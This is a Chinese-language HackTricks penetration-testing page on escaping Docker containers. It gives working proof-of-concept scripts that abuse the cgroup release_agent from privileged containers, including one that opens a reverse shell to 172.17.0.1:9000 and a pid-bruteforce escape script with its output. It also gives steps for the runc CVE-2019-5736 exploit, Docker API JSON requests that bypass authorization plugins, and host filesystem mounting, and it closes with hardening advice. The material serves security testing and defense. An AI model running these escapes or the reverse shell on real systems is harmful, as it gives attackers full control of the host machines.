29 KiB
从零到英雄学习AWS黑客技术,通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
什么是容器
简而言之,它是一个通过cgroups(进程可以使用的资源,如CPU和RAM)和namespaces(进程可以看到的内容,如目录或其他进程)实现的隔离的 进程:
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
挂载的docker套接字
如果你发现docker套接字被挂载在docker容器内部,你将能够从中逃脱。
这通常发生在出于某种原因需要连接到docker守护进程以执行操作的docker容器中。
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
在这种情况下,您可以使用常规的docker命令与docker守护进程通信:
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
{% hint style="info" %}
如果docker socket位于意外位置,您仍然可以使用带有参数**-H unix:///path/to/docker.sock
的docker
**命令与其通信。
{% endhint %}
容器能力
您应该检查容器的能力,如果它具有以下任何能力,您可能能够从中逃脱:CAP_SYS_ADMIN
, CAP_SYS_PTRACE
, CAP_SYS_MODULE
, DAC_READ_SEARCH
, DAC_OVERRIDE
您可以使用以下命令检查当前容器的能力:
capsh --print
在以下页面中,您可以了解更多关于Linux能力以及如何滥用它们:
{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}
--privileged
标志
--privileged
标志允许容器访问宿主机的设备。
我拥有 Root 权限
配置良好的Docker容器不会允许像 fdisk -l 这样的命令。然而,在配置错误的Docker命令中,如果指定了 --privileged
标志,就有可能获得查看宿主机驱动器的权限。
因此,要接管宿主机器,这是微不足道的:
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
瞧!您现在可以访问宿主机的文件系统,因为它被挂载在`/mnt/hola`文件夹中。
{% code title="初始概念验证" %}
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
{% endcode %}
{% code title="第二个概念验证" %}
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
{% endcode %}
使用 `--privileged` 标志会引入重大的安全问题,此漏洞利用依赖于启用此标志的 docker 容器。使用此标志时,容器可以完全访问所有设备,并且不受 seccomp、AppArmor 和 Linux 权限的限制。
实际上,`--privileged` 提供的权限远远超过了通过此方法逃逸 docker 容器所需的权限。实际上,“唯一”的要求是:
1. 我们必须在容器内以 root 身份运行
2. 容器必须以 `SYS_ADMIN` Linux 权限运行
3. 容器必须缺少 AppArmor 配置文件,或者允许 `mount` 系统调用
4. 容器内必须以读写方式挂载 cgroup v1 虚拟文件系统
`SYS_ADMIN` 权限允许容器执行 mount 系统调用(参见 [man 7 capabilities](https://linux.die.net/man/7/capabilities))。[Docker 默认以限制的权限集启动容器](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities),并且由于安全风险,不启用 `SYS_ADMIN` 权限。
此外,Docker [默认以 `docker-default` AppArmor 策略启动容器](https://docs.docker.com/engine/security/apparmor/#understand-the-policies),即使容器以 `SYS_ADMIN` 运行,该策略也[阻止使用 mount 系统调用](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35)。
如果容器以以下标志运行,则容器将容易受到此技术的攻击:`--security-opt apparmor=unconfined --cap-add=SYS_ADMIN`
## 分析概念验证
现在我们已经理解了使用这种技术的要求,并且已经完善了概念验证漏洞利用,让我们逐行分析它,以演示它是如何工作的。
要触发此漏洞,我们需要一个 cgroup,在其中我们可以创建一个 `release_agent` 文件,并通过杀死 cgroup 中的所有进程来触发 `release_agent` 的调用。实现这一点的最简单方法是挂载一个 cgroup 控制器并创建一个子 cgroup。
为此,我们创建一个 `/tmp/cgrp` 目录,挂载 [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup 控制器并创建一个子 cgroup(出于示例目的,在此命名为“x”)。虽然并非所有 cgroup 控制器都经过测试,但这种技术应该适用于大多数 cgroup 控制器。
如果你跟随操作并收到“mount: /tmp/cgrp: special device cgroup does not exist”的消息,那是因为你的设置没有 RDMA cgroup 控制器。将 `rdma` 更改为 `memory` 即可解决。我们使用 RDMA 是因为原始的 PoC 只设计为与它一起工作。
请注意,cgroup 控制器是全局资源,可以多次以不同的权限挂载,一个挂载中的更改将应用于另一个挂载。
我们可以在下面看到“x”子 cgroup 的创建和其目录列表。
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
接下来,我们通过向“x” cgroup的notify_on_release
文件写入1来启用cgroup在释放时的通知。我们还设置RDMA cgroup释放代理来执行/cmd
脚本——稍后我们将在容器中创建这个脚本——通过将主机上的/cmd
脚本路径写入release_agent
文件来实现。为此,我们将从/etc/mtab
文件中获取容器在主机上的路径。
我们在容器中添加或修改的文件在主机上也存在,可以从两个世界中修改它们:容器中的路径和它们在主机上的路径。
下面可以看到这些操作:
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
注意我们将在主机上创建的/cmd
脚本的路径:
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
现在,我们创建/cmd
脚本,使其执行ps aux
命令,并通过指定宿主机上输出文件的完整路径,将其输出保存到容器的/output
中。最后,我们还打印/cmd
脚本以查看其内容:
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
最后,我们可以通过在“x”子 cgroup 内启动一个立即结束的进程来执行攻击。通过创建一个 `/bin/sh` 进程,并将其 PID 写入“x”子 cgroup 目录中的 `cgroup.procs` 文件,`/bin/sh` 退出后宿主机上的脚本将会执行。然后在宿主机上执行的 `ps aux` 输出被保存到容器内的 `/output` 文件中:
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
--privileged
标志 v2
之前的 PoCs 在容器配置了一个暴露挂载点完整主机路径的存储驱动时工作正常,例如 overlayfs
,但我最近遇到了几种配置,它们并没有明显地暴露主机文件系统的挂载点。
Kata 容器
root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
Kata Containers 默认通过 9pfs
挂载容器的根文件系统。这不会泄露 Kata Containers 虚拟机中容器文件系统位置的任何信息。
* 未来的博客文章中将更多介绍 Kata Containers。
设备映射器
root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
我在一个实时环境中看到了一个容器使用了这个 root 挂载,我相信容器是用特定的 devicemapper
存储驱动配置运行的,但在这一点上,我无法在测试环境中复制这种行为。
另一种 PoC
显然,在这些情况下,没有足够的信息来识别宿主文件系统上容器文件的路径,因此 Felix 的 PoC 不能照搬使用。然而,我们仍然可以通过一点点创造性来执行这种攻击。
所需的一个关键信息是相对于容器宿主的完整路径,即在容器内要执行的文件的路径。由于我们无法从容器内的挂载点辨别出这一点,我们必须另寻他法。
Proc 来救援
Linux 的 /proc
伪文件系统为系统上运行的所有进程暴露了内核进程数据结构,包括在不同命名空间中运行的进程,例如在容器内。这可以通过在容器中运行命令并访问宿主上该进程的 /proc
目录来显示:Container
root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
...
作为旁注,/proc/<pid>/root
数据结构曾让我困惑很长时间,我一直不明白为什么需要一个指向 /
的符号链接有什么用,直到我在手册页中读到了实际定义:
/proc/[pid]/root
UNIX和Linux支持每个进程文件系统根目录的概念,通过chroot(2)系统调用设置。这个文件是一个指向进程根目录的符号链接,并且行为方式与exe和fd/*相同。
但请注意,这个文件不仅仅是一个符号链接。它提供了与进程本身相同的文件系统视图(包括命名空间和每个进程的挂载集)。
/proc/<pid>/root
符号链接可以用作容器内任何文件的主机相对路径:Container
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme
这改变了攻击的要求,从知道容器主机相对于容器内文件的完整路径,变为知道容器中_任何_进程的pid。
Pid Bashing
这实际上是容易的部分,Linux中的进程id是数字的,并且是顺序分配的。init
进程被分配进程id 1
,所有后续进程都被分配增量id。要识别容器内进程的主机进程id,可以使用暴力增量搜索:
root@container:~$ echo findme > /findme
root@container:~$ sleep 100
宿主机
root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme
整合所有步骤
为了完成这次攻击,可以使用暴力破解技术来猜测路径 /proc/<pid>/root/payload.sh
的 pid,每次迭代都将猜测的 pid 路径写入 cgroups 的 release_agent
文件,触发 release_agent
,并检查是否创建了输出文件。
这种技术的唯一注意事项是它绝不微妙,可能会使 pid 计数非常高。由于没有长时间运行的进程保持运行,这 应该 不会引起可靠性问题,但不要引用我的话。
下面的 PoC 实现了这些技术,提供了一个比 Felix 最初的 PoC 更通用的攻击方法,用于利用 cgroups 的 release_agent
功能逃离特权容器:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
在特权容器内执行 PoC 应该会提供类似于以下的输出:
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
Runc 漏洞利用 (CVE-2019-5736)
如果你能以 root 身份执行 docker exec
(可能需要通过 sudo),你可以尝试通过滥用 CVE-2019-5736 来提升权限,从容器中逃逸(漏洞利用在这里)。这项技术基本上会覆盖 宿主机上的 /bin/sh 二进制文件从容器中,因此任何执行 docker exec 的人可能会触发有效载荷。
根据需要更改有效载荷,并使用 go build main.go
构建 main.go。生成的二进制文件应放置在 docker 容器中执行。
执行后,一旦显示 [+] Overwritten /bin/sh successfully
,你需要从宿主机执行以下命令:
docker exec -it <container-name> /bin/sh
这将触发存在于 main.go 文件中的有效载荷。
更多信息:https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
Docker 认证插件绕过
在某些情况下,系统管理员可能会安装一些插件到 docker,以防止低权限用户与 docker 交互,同时无法提升权限。
禁止 run --privileged
在这种情况下,系统管理员禁止用户挂载卷和使用 --privileged
标志运行容器或给容器任何额外的能力:
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
然而,用户可以在运行中的容器内创建一个具有额外权限的 shell:
docker run -d --security-opt "seccomp=unconfined" ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
现在,用户可以使用之前讨论过的任何技术从容器中逃离,并在主机内部提升权限。
挂载可写文件夹
在这种情况下,系统管理员禁止用户使用 --privileged
标志运行容器或给容器任何额外的能力,他只允许挂载 /tmp
文件夹:
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
{% hint style="info" %}
请注意,您可能无法挂载文件夹 /tmp
,但您可以挂载其他可写文件夹。您可以使用以下命令找到可写目录:find / -writable -type d 2>/dev/null
**请注意,并非所有 Linux 机器上的目录都支持 suid 位!**为了检查哪些目录支持 suid 位,请运行 mount | grep -v "nosuid"
。例如,通常 /dev/shm
、/run
、/proc
、/sys/fs/cgroup
和 /var/lib/lxcfs
不支持 suid 位。
还请注意,如果您能够挂载 /etc
或包含配置文件的任何其他文件夹,您可以作为 root 在 docker 容器中更改它们,以便在宿主机中滥用它们并提升权限(可能修改 /etc/shadow
)。
{% endhint %}
未检查的 JSON 结构
当系统管理员配置 docker 防火墙时,他可能忘记了 API 的一些重要参数(https://docs.docker.com/engine/api/v1.40/#operation/ContainerList),比如 "Binds"。
在以下示例中,可以利用这种配置错误来创建并运行一个挂载宿主机根目录(/)的容器:
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
未检查的 JSON 属性
当系统管理员配置 docker 防火墙时,他可能忘记了 API 参数的一些重要属性(https://docs.docker.com/engine/api/v1.40/#operation/ContainerList),例如在 "HostConfig" 中的 "Capabilities"。在下面的例子中,可以利用这种错误配置来创建并运行一个具有 SYS_MODULE 能力的容器:
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
可写的 hostPath 挂载
(信息来自 这里) 在容器内部,攻击者可能尝试通过集群创建的可写 hostPath 卷来进一步访问底层宿主操作系统。以下是一些你可以在容器内检查的常见事项,以查看你是否可以利用这个攻击向量:
### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger
### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1
容器安全改进
Docker 中的 Seccomp
这不是从 Docker 容器中逃逸的技术,而是 Docker 使用的安全功能,您应该了解它,因为它可能会阻止您从 docker 中逃逸:
{% content-ref url="seccomp.md" %} seccomp.md {% endcontent-ref %}
Docker 中的 AppArmor
这不是从 Docker 容器中逃逸的技术,而是 Docker 使用的安全功能,您应该了解它,因为它可能会阻止您从 docker 中逃逸:
{% content-ref url="apparmor.md" %} apparmor.md {% endcontent-ref %}
AuthZ & AuthN
授权插件根据当前的认证上下文和命令上下文批准或拒绝对 Docker 守护进程的请求。认证上下文包含所有用户详细信息和认证方法。命令上下文包含所有相关的请求数据。
{% content-ref url="broken-reference" %} 损坏的链接 {% endcontent-ref %}
gVisor
gVisor 是一个用 Go 编写的应用内核,实现了 Linux 系统表面的大部分功能。它包括一个名为 runsc
的 Open Container Initiative (OCI) 运行时,该运行时提供了应用程序与宿主内核之间的隔离边界。runsc
运行时与 Docker 和 Kubernetes 集成,使得运行沙盒化容器变得简单。
{% embed url="https://github.com/google/gvisor" %}
Kata 容器
Kata 容器 是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,这些虚拟机感觉和表现得像容器,但使用硬件虚拟化技术作为第二层防御,提供更强的工作负载隔离。
{% embed url="https://katacontainers.io/" %}
安全使用容器
Docker 默认限制和限制容器。放松这些限制可能会造成安全问题,即使没有 --privileged
标志的全部权限。重要的是要认识到每个额外权限的影响,并将权限总体限制在必要的最低限度。
为了帮助保持容器的安全:
- 不要使用
--privileged
标志或在容器内挂载 Docker 套接字。Docker 套接字允许生成容器,因此它是完全控制宿主的一种简单方法,例如,通过运行另一个带有--privileged
标志的容器。 - 不要在容器内以 root 身份运行。使用 不同的用户 或 用户命名空间。除非使用用户命名空间重新映射,否则容器中的 root 与宿主上的 root 相同。它仅被 Linux 命名空间、能力和 cgroups 主要限制。
- 放弃所有能力 (
--cap-drop=all
) 并仅启用所需的能力 (--cap-add=...
)。许多工作负载不需要任何能力,添加它们会增加潜在攻击的范围。 - 使用“no-new-privileges”安全选项以防止进程获得更多权限,例如通过 suid 二进制文件。
- 限制容器可用的资源。资源限制可以保护机器免受拒绝服务攻击。
- 调整 seccomp、AppArmor(或 SELinux)配置文件,将容器可用的操作和系统调用限制在所需的最低限度。
- 使用 官方 docker 镜像或基于它们构建自己的镜像。不要继承或使用 后门 镜像。
- 定期重建镜像以应用安全补丁。这是不言而喻的。
参考资料
- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
- https://twitter.com/_fel1x/status/1151487051986087936
- https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习 AWS 黑客攻击!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF 版本,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFTs 系列
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。